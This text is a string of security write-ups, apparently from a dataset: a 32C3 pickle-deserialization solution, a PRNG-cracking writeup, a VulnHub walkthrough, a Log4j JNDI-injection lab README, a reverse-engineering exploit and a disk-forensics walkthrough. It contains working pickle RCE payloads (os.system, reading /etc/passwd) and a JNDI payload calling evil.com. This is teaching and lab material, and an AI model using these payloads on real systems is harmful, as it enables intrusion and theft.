Możemy w ten sposób przygotować funkcje z brakującymi operacjami `frames[3][0]` oraz `frame_data[-6][1]['flag'].flag`, stworzyć z nich stringi base64 a następnie w pickle umieścić kod deserializujący te funkcje. Finalnie rozwiązanie dla tego zadania to (cały solver dostępny [tutaj](solver.py)):
```python
def fun1(frames):
return frames[3][0]
def fun2(frames_data):
return frames_data[-6][1]['flag'].flag
code1 = base64.b64encode(marshal.dumps(fun1.func_code))
code2 = base64.b64encode(marshal.dumps(fun2.func_code))
class Flag(object):
pass
data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."
```
Co daje nam pickle:
```
cos
write
(I1
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwEAAAABAAAAAgAAAEMAAABzEwAAAHwAAGQBABlkAgAZZAMAGWoAAFMoBAAAAE5p+v///2kBAAAAdAQAAABmbGFnKAEAAABSAAAAACgBAAAAdAsAAABmcmFtZXNfZGF0YSgAAAAAKAAAAABzRAAAAEM6L1VzZXJzL1BoYXJpc2FldXMvUHljaGFybVByb2plY3RzL3VudGl0bGVkL3NyYy8zMmMzL2d1cmtlL2d1cmtlLnB5dAQAAABmdW4yEAAAAHMCAAAAAAE='
tRtR(dS''
))tR(cinspect
getmembers
(ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwEAAAABAAAAAgAAAEMAAABzDAAAAHwAAGQBABlkAgAZUygDAAAATmkDAAAAaQAAAAAoAAAAACgBAAAAdAYAAABmcmFtZXMoAAAAACgAAAAAc0QAAABDOi9Vc2Vycy9QaGFyaXNhZXVzL1B5Y2hhcm1Qcm9qZWN0cy91bnRpdGxlZC9zcmMvMzJjMy9ndXJrZS9ndXJrZS5weXQEAAAAZnVuMQwAAABzAgAAAAAB'
tRtR(dS''
(t(ttR(cinspect
getouterframes
(cinspect
currentframe
)RtRtRtRtRtR.
```
Wysłanie tak utworzonego kodu zwraca nam z serwera flagę `32c3_rooDahPaeR3JaibahYeigoong`
Dla zainteresowanych, obszerny opis zastosowanej techniki exploitowania pickle: https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
### ENG version
There is a [script](gurke.py) running on the server, which takes an input we send and deserializes it with pickle.
From the code we can see, that the flag is collected via socket and that we are constrained in terms of kernel functions we can use.
Pickle allows a very unusual deserialization option - we can write a function `__reduce__()` in a class, and from this function return a tuple with:
- function
- tuple with parameters for this function
Pickle when deserializing such object will call given function with those parameters.
This means that we can, theoretically, call any function with any set of parmeters on the server side. In particular, we could call for example `os.system("command")`!
Pickle has some internal security which prevents from using some functions, however the format of pickle output is so simple that we can just write it by hand.
Pickle calling `os.system("ls")` can look like this:
```
cos
system
(S'ls'
tR.
```
Pickle executes this on a stack machine. The code above is interpreted as:
`cos\nsystem` - push function `system` imported from module `os` on the stack
`(` - push a marker on the stack
`S'ls'` - push a string `ls` on the stack
`t` - pop everything from the stack until a marker is reached, put all those elements in a tuple and push this tuple to the stack
`R` - pop two elements from the stack, first one is arguments tuple and the second one is a function that should be called with those arguments, push result of the function on the stack
Additional operations we will use to solve this task:
`I123` - push an integer 123 ono the stack
`)` - push empty tuple on the stack
`d` - pop everyting from the stack until maker is reached, push a dictionary built with the values poped
The newline characters in the code are necessary! We can, of course, do cascade function calls, for example:
`os.write(1, subprocess.check_output("cat /etc/passwd"))`
can be written as:
```
cos
write
(I1
csubprocess
check_output
(S'cat /etc/passwd'
tRtR.
```
We can call pretty much any code on the remote machine, as long as the function exists on the target machine. Now we need to figure out how exactly we can get the flag.
We could read the flag from the socket, just as server code does, however this is restricted by kernel functions block. Therefore, we need to get the flag from memory of the server script.
We will use the `inspect` package which is available on the server. Is allows us to use `inspect.currentframe()`, `inspect.getouterframes()` and `inspect.getmembers()`.
First one returns current stack frame. Second returns list of information on the stack frames above our frame (including the frame itself, line of code, script path etc).
The third one returns data extracted from the given frame.
We want to call a cascade `inspect.getouterframes(inspect.currentframe())` to get list of frames informations regarding frames above our current frame, and in particular there will be a frame with server code which contains a loaded `flag`. By printing elements of this list we can find out that the frame we are interested in is a third element of the list, and the frame itself is the first element of tuple. So we need:
```python
current_frame = inspect.currentframe()
outer_frames = inspect.getouterframes(current_frame)
frame_with_flag = outer_frames[3][0]
```
Or written shorter: `inspect.getouterframes(inspect.currentframe())[3][0]`
Next we use `inspect.getmembers()` to get informations about the frame, where we can find also global variables in this frame, including our flag.
Server limits the output we can get so we need to test this locally to dig into the returned structure and find where the flag will be. We figure out that from `getmemebers` call we need 6th element from the end of the list, from this we need element of index 1 and we should get a dictionary of global variables. The flag variable is called `flag` and is an object of a class with field `flag`. So we need:
```python
framedata = inspect.getmembers(frame_with_flag)
flag_value = framedata[-6][1]['flag'].flag
```
So a short cascade: `os.write(1,inspect.getmembers(inspect.getouterframes(inspect.currentframe())[3][0])[-6][1]['flag'].flag)`
We bump into a complication - the list indexing and taking a dictionary value by key are not available to us (because for example `list` module is not imported on the server).
However there are `marshal`, `types` and `base64` availble. We can use them to serialize and deserialize bytecode of a python function.
We can make a printable string from a function and then recreate this function from string, and call it!
```python
import base64
import marshal
import types
def fun(arg):
print('test ' + arg)
marshaled_bytecode = marshal.dumps(fun.func_code)
printable_string = base64.b64encode(marshaled_bytecode)
print(printable_string)
decoded_bytecode = base64.b64decode(printable_string)
recovered_code = marshal.loads(decoded_bytecode)
callable_function = types.FunctionType(recovered_code, {}, "")
callable_function("argument")
```
Code above presnts how we can make a printable string with a "function" and then how to recreate it. It's easy to see that this requires a cascade:
`types.FunctionType(marshal.loads(base64.b64decode("base64 code")),{},"")`
The reason for all those cascades I wrote is because they can be written as pickle very easily:
```
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'base64 code'
tRtR(dS''
))tR
```
When we deserialize this with pickle on the stack there will be our own function passed as string.
We can use this technique and create functions with missing `frames[3][0]` and `frame_data[-6][1]['flag'].flag` operations, make a base64 printable string from them and then place a deserialize code in pickle. The final solution for this task was (whole solver available [here](solver.py)):
```python
def fun1(frames):
return frames[3][0]
def fun2(frames_data):
return frames_data[-6][1]['flag'].flag
code1 = base64.b64encode(marshal.dumps(fun1.func_code))
code2 = base64.b64encode(marshal.dumps(fun2.func_code))
class Flag(object):
pass
data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."
```
Which gives us a pickle:
```
cos
write
(I1
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwEAAAABAAAAAgAAAEMAAABzEwAAAHwAAGQBABlkAgAZZAMAGWoAAFMoBAAAAE5p+v///2kBAAAAdAQAAABmbGFnKAEAAABSAAAAACgBAAAAdAsAAABmcmFtZXNfZGF0YSgAAAAAKAAAAABzRAAAAEM6L1VzZXJzL1BoYXJpc2FldXMvUHljaGFybVByb2plY3RzL3VudGl0bGVkL3NyYy8zMmMzL2d1cmtlL2d1cmtlLnB5dAQAAABmdW4yEAAAAHMCAAAAAAE='
tRtR(dS''
))tR(cinspect
getmembers
(ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwEAAAABAAAAAgAAAEMAAABzDAAAAHwAAGQBABlkAgAZUygDAAAATmkDAAAAaQAAAAAoAAAAACgBAAAAdAYAAABmcmFtZXMoAAAAACgAAAAAc0QAAABDOi9Vc2Vycy9QaGFyaXNhZXVzL1B5Y2hhcm1Qcm9qZWN0cy91bnRpdGxlZC9zcmMvMzJjMy9ndXJrZS9ndXJrZS5weXQEAAAAZnVuMQwAAABzAgAAAAAB'
tRtR(dS''
(t(ttR(cinspect
getouterframes
(cinspect
currentframe
)RtRtRtRtRtR.
```
And sending it to the server we get the flag: `32c3_rooDahPaeR3JaibahYeigoong`
If you're interested in some more details on pickle exploiting (and some more info on the stack language) read: https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
|
sec-knowleage
|
# 题目
## 2016 Google CTF woodman
程序的大概意思就是一个猜数游戏,如果连续猜中若干次,就算会拿到 flag,背后的生成相应数的核心代码如下
```python
class SecurePrng(object):
def __init__(self):
# generate seed with 64 bits of entropy
self.p = 4646704883L
self.x = random.randint(0, self.p)
self.y = random.randint(0, self.p)
def next(self):
self.x = (2 * self.x + 3) % self.p
self.y = (3 * self.y + 9) % self.p
return (self.x ^ self.y)
```
这里我们显然,我们猜出前两轮还是比较容易的,毕竟概率也有 0.25。这里当我们猜出前两轮后,使用 Z3 来求解出初始的 x 和 y,那么我们就可以顺利的猜出剩下的值了。
具体的脚本如下,然而 Z3 在解决这样的问题时似乎是有问题的。。。
这里我们考虑另外一种方法,**依次从低比特位枚举到高比特位获取 x 的值**,之所以能够这样做,是依赖于这样的观察
- a + b = c,c 的第 i 比特位的值只受 a 和 b 该比特位以及更低比特位的影响。**因为第 i 比特位进行运算时,只有可能收到低比特位的进位数值。**
- a - b = c,c 的第 i 比特位的值只受 a 和 b 该比特位以及更低比特位的影响。**因为第 i 比特位进行运算时,只有可能向低比特位的借位。**
- a * b = c,c 的第 i 比特位的值只受 a 和 b 该比特位以及更低比特位的影响。因为这可以视作多次加法。
- a % b = c,c 的第 i 比特位的值只受 a 和 b 该比特位以及更低比特位的影响。因为这可视为多次进行减法。
- a ^ b = c,c 的第 i 比特位的值只受 a 和 b 该比特位的影响。这一点是显而易见的。
**注:个人感觉这个技巧非常有用。**
此外,我们不难得知 p 的比特位为 33 比特位。具体利用思路如下
1. 首先获取两次猜到的值,这个概率有 0.25。
2. 依次从低比特位到高比特位依次枚举**第一次迭代后的 x 的相应比特位**。
3. 根据自己枚举的值分别计算出第二次的值,只有当对应比特位正确,可以将其加入候选正确值。需要注意的是,这里由于取模,所以我们需要枚举到底减了多少次。
4. 此外,在最终判断时,仍然需要确保对应的值满足一定要求,因为之前对减了多少次进行了枚举。
具体利用代码如下
```python
import os
import random
from itertools import product
class SecurePrng(object):
def __init__(self, x=-1, y=-1):
# generate seed with 64 bits of entropy
self.p = 4646704883L # 33bit
if x == -1:
self.x = random.randint(0, self.p)
else:
self.x = x
if y == -1:
self.y = random.randint(0, self.p)
else:
self.y = y
def next(self):
self.x = (2 * self.x + 3) % self.p
self.y = (3 * self.y + 9) % self.p
return (self.x ^ self.y)
def getbiti(num, idx):
return bin(num)[-idx - 1:]
def main():
sp = SecurePrng()
targetx = sp.x
targety = sp.y
print "we would like to get x ", targetx
print "we would like to get y ", targety
# suppose we have already guess two number
guess1 = sp.next()
guess2 = sp.next()
p = 4646704883
# newx = tmpx*2+3-kx*p
for kx, ky in product(range(3), range(4)):
candidate = [[0]]
# only 33 bit
for i in range(33):
#print 'idx ', i
new_candidate = []
for old, bit in product(candidate, range(2)):
#print old, bit
oldx = old[0]
#oldy = old[1]
tmpx = oldx | ((bit & 1) << i)
#tmpy = oldy | ((bit / 2) << i)
tmpy = tmpx ^ guess1
newx = tmpx * 2 + 3 - kx * p + (1 << 40)
newy = tmpy * 3 + 9 - ky * p + (1 << 40)
tmp1 = newx ^ newy
#print "tmpx: ", bin(tmpx)
#print "targetx: ", bin(targetx)
#print "calculate: ", bin(tmp1 + (1 << 40))
#print "target guess2: ", bin(guess1 + (1 << 40))
if getbiti(guess2 + (1 << 40), i) == getbiti(
tmp1 + (1 << 40), i):
if [tmpx] not in new_candidate:
#print "got one"
#print bin(tmpx)
#print bin(targetx)
#print bin(tmpy)
new_candidate.append([tmpx])
candidate = new_candidate
#print len(candidate)
#print candidate
print "candidate x for kx: ", kx, " ky ", ky
for item in candidate:
tmpx = candidate[0][0]
tmpy = tmpx ^ guess1
if tmpx >= p or tmpx >= p:
continue
mysp = SecurePrng(tmpx, tmpy)
tmp1 = mysp.next()
if tmp1 != guess2:
continue
print tmpx, tmpy
print(targetx * 2 + 3) % p, (targety * 3 + 9) % p
if __name__ == "__main__":
main()
```
|
sec-knowleage
|
# FunboxEasy
> https://download.vulnhub.com/funbox/Funbox3.ova
靶场IP:`192.168.2.13`
扫描对外端口服务
```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.13
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 08:43 EDT
Nmap scan report for 192.168.2.13
Host is up (0.000083s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.92%I=7%D=9/8%Time=6319E38D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0
SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a
SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000"
SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 08:00:27:31:B8:39 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.69 seconds
```
访问80端口

爆破目录
```
┌──(root㉿kali)-[~/Desktop]
└─# dirb http://192.168.2.13/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 8 08:47:50 2022
URL_BASE: http://192.168.2.13/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.13/ ----
==> DIRECTORY: http://192.168.2.13/admin/
+ http://192.168.2.13/index.html (CODE:200|SIZE:10918)
+ http://192.168.2.13/index.php (CODE:200|SIZE:3468)
+ http://192.168.2.13/robots.txt (CODE:200|SIZE:14)
==> DIRECTORY: http://192.168.2.13/secret/
+ http://192.168.2.13/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://192.168.2.13/store/
---- Entering directory: http://192.168.2.13/admin/ ----
==> DIRECTORY: http://192.168.2.13/admin/assets/
+ http://192.168.2.13/admin/index.php (CODE:200|SIZE:3263)
---- Entering directory: http://192.168.2.13/secret/ ----
+ http://192.168.2.13/secret/index.php (CODE:200|SIZE:108)
+ http://192.168.2.13/secret/robots.txt (CODE:200|SIZE:35)
---- Entering directory: http://192.168.2.13/store/ ----
+ http://192.168.2.13/store/admin.php (CODE:200|SIZE:3153)
==> DIRECTORY: http://192.168.2.13/store/controllers/
==> DIRECTORY: http://192.168.2.13/store/database/
==> DIRECTORY: http://192.168.2.13/store/functions/
+ http://192.168.2.13/store/index.php (CODE:200|SIZE:3998)
==> DIRECTORY: http://192.168.2.13/store/models/
==> DIRECTORY: http://192.168.2.13/store/template/
---- Entering directory: http://192.168.2.13/admin/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.13/store/controllers/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.13/store/database/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.13/store/functions/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.13/store/models/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.2.13/store/template/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Sep 8 08:47:55 2022
DOWNLOADED: 18448 - FOUND: 9
```
访问:`http://192.168.2.13/store/admin.php`,输入`admin/admin`

点击添加

|
sec-knowleage
|
# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649
## 漏洞环境
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
## 漏洞复现
`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:

实际利用JNDI注入漏洞,可以使用[这个工具](https://github.com/su18/JNDI)。利用完毕后,可见`touch /tmp/success`已经成功被执行:

|
sec-knowleage
|
# authenticator (pwn, 2 solves)
This task was categoried as pwn, but in fact it was RE and simple crypto.
The hardest part of this task was to reverse engineer the binary.
main calls following functions:
`000000000406950` is sha1 function from boost library. The proof is the string `/usr/include/boost/uuid/sha1.hpp`.
`0000000000406410` is also a cryptography function.
Let's call it `crypto_function` now, we will look at it closely later.
The pseudocode of main() function is below:
```C
int main()
{
sha = boost_sha1(); //buffer of 16 bytes
if (strcmp(user_input(),"HELLO")) return 0;
bytes = read("/dev/urandom",16); //buffer of 16 bytes
print_bytes_hex(bytes);
bytes2 = read("/dev/urandom",16); //buffer of 16 bytes
print_bytes_hex(bytes2);
print_some_strange_data(); //idk what is this, it's not needed anyway :)
if(crypto_function(bytes2, user_input(), 16, some_bytes) == bytes1)
print crypto_function(bytes2, flag, 16, some_bytes);
}
```
`user_input` is a function which reads data from the user.
Now let's investigate `crypto_function`.
I was sure that this isnt any new crypto but just from some library.
We can see that it calls various virtual methods from vtable.
After navigating to the memory of them we can gain more information.
For example above offset `73F500` is located the following string:
```
.data.rel.ro:000000000073F4F8 dq offset _ZTIN8CryptoPP14CTR_ModePolicyE ; `typeinfo for'CryptoPP::CTR_ModePolicy
.data.rel.ro:000000000073F500 unk_73F500 db 0
```
also this one is interesting:
```
.data.rel.ro:0000000000741BC8 dq offset _ZTIN8CryptoPP8Rijndael4BaseE ; `typeinfo for'CryptoPP::Rijndael::Base
.data.rel.ro:0000000000741BD0 unk_741BD0 db 0 ; DATA XREF: sub_406410+3CD↑o
```
So I just concluded that this is AES-128 encryption in CTR mode.
I've set a breakpoint at this function and printed their arguments:
- 1: random data, different at every time.
- 2: user input
- 3: int 16
- 4: 0x0d00000f0d0a0af7, 0x0d00000f0d0a0a0b
- 5: where encrypted data will be stored
I came to the conclusion that the first argument is ctr, 4 is the key.
I checked if my theory about this cipher function is correct - I copied arguments and output abd wrote the following python script:
```python
from pwn import *
from crypto_commons.symmetrical import aes
def aes_encode(input):
global key
global ctr
AES = aes.AES()
AES.init(key)
w = AES.encrypt(ctr)
w = xor(input, w)
return w
def aes_decode(input):
global key
global ctr
AES = aes.AES()
AES.init(key)
w = AES.encrypt(ctr)
w = xor(input, w)
return w
key = "f70a0a0d0f00000d0b0a0a0d0f00000d" #wytestowac nowe kombinacje
ctr = "f3 e9 cf 98 bb 8d 94 58 43 61 21 f4 f8 e3 19 ad"
input = "a"*16
ctr = ctr.replace(" ","").decode("hex")
key = key.replace(" ","").decode("hex")
x = aes_encode(input)
print "encrypted user input: "+x.encode("hex")
print "the output from binary: 9bcefda8b86570db6d8330986472ac5e"
```
output:
```
a@x:~/Desktop/Authenticator$ python test.py
encrypted user input: 9bcefda8b86570db6d8330986472ac5e
the output from binary: 9bcefda8b86570db6d8330986472ac5e
```
It proves that my predictions were correct.
if we want to pass `if(crypto_function(bytes2, user_input(), 16, some_bytes) == bytes1)` in `main` function, it's obvious, that user input needs to be equal the output of the decryption function AES-128 CTR mode with `bytes1` as data to decrypt
The key to `crypto_function` was the same at every run when ASLR was switched off.
When ASLR was switched on, the first byte of the key was different at every run.
I also checked this on different linux systems and it was the same.
So I wrote the exploit that connects to the server and tries to brute-force all possibilities of the first byte of the key:
```
from pwn import *
from crypto_commons.symmetrical import aes
def recvall(r):
d = ""
n = "a"
while n:
n = r.recv(timeout = 0.2)
d += n
return d
def aes_decode_(key,input,ctr):
print ctr
ctr = hex(ctr)[2:]
ctr = ctr.rjust(32,"0")
ctr = ctr.decode("hex")
AES = aes.AES()
AES.init(key)
w = AES.encrypt(ctr)
w = xor(input, w)
return w
def split_string(string, split_string):
return [string[i:i+split_string] for i in range(0, len(string), split_string)]
def aes_decode(key,input,ctr):
ctr = ctr.encode("hex")
ctr = int(ctr,16)
input = split_string(input, 16)
decrypted = ""
for i in input:
decrypted += aes_decode_(key, i, ctr)
ctr += 1
return decrypted
def try_key(key):
r = remote("46.101.180.78", 13031)
r.sendline("HELLO")
data = recvall(r)
print data
random1 = data.split("\n")[0]
random2 = data.split("\n")[1]
print "-----------"
print random1
print random2
random1 = random1.replace(" ","").decode("hex")
random2 = random2.replace(" ","").decode("hex")
key = key.decode("hex")
inp = aes_decode(key, random1, random2)
print inp.encode("hex")
r.send("1"+inp+"\n")
print "encrypted flag:"
encrypted_flag = r.recv()
print len(encrypted_flag)
print encrypted_flag
print "###"
decrypted = aes_decode(key,encrypted_flag,random2)
print decrypted
if "DCTF" in decrypted:
exit()
r.close()
for brut_byte in range(0x00,0x100):
gg = hex(brut_byte)[2:]
gg=gg.rjust(2,"0")
print gg
try_key(gg+"0a0a0d0f00000d0b0a0a0d0f00000d")
```
and the flag is:
```
DCTF{a1fee34f2a3e6e010d786f02865dc39896faa6b589d1f57f565bac9bd1d85cae}
```
Summing up, the task was very easy if you reversed the binary properly.
The task was categoried wrongly and this could mislead people, maybe this is why this task hadn't many solves.
|
sec-knowleage
|
# Disk, disk, sleuth! II
Category: Forensics, 130 points
## Description
> All we know is the file with the flag is named `down-at-the-bottom.txt`...
A disk image was attached.
## Solution
If we simply try to `fsstat` the attached image in order to display the disk image details, we get an error:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth_2]
└─$ fsstat ./dds2-alpine.flag.img
Cannot determine file system type
```
That's because we need to provide it with the correct offset, which in this case isn't 0:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth_2]
└─$ mmls ./dds2-alpine.flag.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000262143 0000260096 Linux (0x83)
```
As we can see, the image starts at offset `2048`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth_2]
└─$ fsstat ./dds2-alpine.flag.img -o 2048 | head -n 19
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext3
Volume Name:
Volume ID: dc53a3bb0ae739a5164c89db56bbb12f
Last Written at: 2021-02-16 20:21:20 (IST)
Last Checked at: 2021-02-16 20:21:19 (IST)
Last Mounted at: 2021-02-16 20:21:19 (IST)
Unmounted properly
Last mounted on: /os/mnt
Source OS: Linux
Dynamic Structure
Compat Features: Journal, Ext Attributes, Resize Inode, Dir Index
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super, Large File,
```
We use this offset for other `sleuthkit` commands as well, such as finding the requested file's inode:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth_2]
└─$ fls -r ./dds2-alpine.flag.img -o 2048 | grep down-at-the-bottom.txt
+ r/r 18291: down-at-the-bottom.txt
```
And displaying its contents:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Disk_disk_sleuth_2]
└─$ icat ./dds2-alpine.flag.img -o 2048 18291
_ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( p ) ( i ) ( c ) ( o ) ( C ) ( T ) ( F ) ( { ) ( f ) ( 0 ) ( r ) ( 3 ) ( n )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( s ) ( 1 ) ( c ) ( 4 ) ( t ) ( 0 ) ( r ) ( _ ) ( n ) ( 0 ) ( v ) ( 1 ) ( c )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( 3 ) ( _ ) ( 0 ) ( b ) ( a ) ( 8 ) ( d ) ( 0 ) ( 2 ) ( d ) ( } )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
```
The flag: `picoCTF{f0r3ns1c4t0r_n0v1c3_0ba8d02d}`
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.